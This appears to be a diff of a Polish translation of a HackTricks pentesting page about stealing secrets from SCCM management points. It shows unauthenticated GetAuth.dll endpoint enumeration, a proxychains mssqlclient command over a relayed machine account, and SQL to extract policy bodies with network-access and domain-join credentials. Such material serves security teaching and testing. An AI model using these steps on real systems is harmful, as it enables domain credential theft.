`NetworkAccessUsername/Passw --- -## 1. Enumerowanie nieautoryzowanych punktów końcowych MP -Rozszerzenie ISAPI MP **GetAuth.dll** ujawnia kilka parametrów, które nie wymagają uwierzytelnienia (chyba że serwis jest tylko PKI): +## 1. Enumeracja nieautoryzowanych punktów końcowych MP +Rozszerzenie ISAPI MP **GetAuth.dll** ujawnia kilka parametrów, które nie wymagają uwierzytelnienia (chyba że witryna jest tylko PKI): | Parametr | Cel | |-----------|---------| -| `MPKEYINFORMATIONMEDIA` | Zwraca publiczny klucz certyfikatu podpisującego serwis + GUIDy urządzeń *x86* / *x64* **All Unknown Computers**. | -| `MPLIST` | Wymienia każdy Management-Point w serwisie. | -| `SITESIGNCERT` | Zwraca certyfikat podpisujący Primary-Site (identyfikuje serwer serwisu bez LDAP). | +| `MPKEYINFORMATIONMEDIA` | Zwraca publiczny klucz certyfikatu podpisującego witrynę + GUIDy urządzeń *x86* / *x64* **Wszystkie Nieznane Komputery**. | +| `MPLIST` | Wymienia każdy Management-Point w witrynie. | +| `SITESIGNCERT` | Zwraca certyfikat podpisujący głównej witryny (identyfikuje serwer witryny bez LDAP). | Zbierz GUIDy, które będą działać jako **clientID** do późniejszych zapytań DB: ```bash @@ -56,7 +56,7 @@ Połącz się przez proxy SOCKS (port 1080 domyślnie): ```bash proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth ``` -Przełącz się na bazę danych **CM_** (użyj 3-cyfrowego kodu lokalizacji, np. `CM_001`). +Przełącz się na bazę danych **CM_** (użyj 3-cyfrowego kodu witryny, np. `CM_001`). ### 3.1 Znajdź GUIDy nieznanych komputerów (opcjonalnie) ```sql @@ -76,12 +76,12 @@ Skup się na politykach: * **TS_Sequence** – zmienne sekwencji zadań (OSDJoinAccount/Password) * **CollectionSettings** – może zawierać konta uruchamiane jako -### 3.3 Pobierz pełne body +### 3.3 Pobierz pełne ciało Jeśli już masz `PolicyID` i `PolicyVersion`, możesz pominąć wymaganie clientID, używając: ```sql EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; ``` -> WAŻNE: W SSMS zwiększ „Maksymalną liczbę pobranych znaków” (>65535), w przeciwnym razie blob zostanie obcięty. +> WAŻNE: W SSMS zwiększ „Maksymalna liczba pobranych znaków” (>65535), w przeciwnym razie blob zostanie obcięty. --- @@ -151,5 +151,5 @@ abusing-ad-mssql.md ## Odniesienia - [Chciałbym porozmawiać z Twoim menedżerem: Kradzież sekretów za pomocą relayów punktów zarządzania](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/) - [PXEthief](https://github.com/MWR-CyberSec/PXEThief) -- [Menadżer Niewłaściwej Konfiguracji – ELEVATE-4 i ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) +- [Menadżer błędnej konfiguracji – ELEVATE-4 i ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) {{#include ../../banners/hacktricks-training.md}}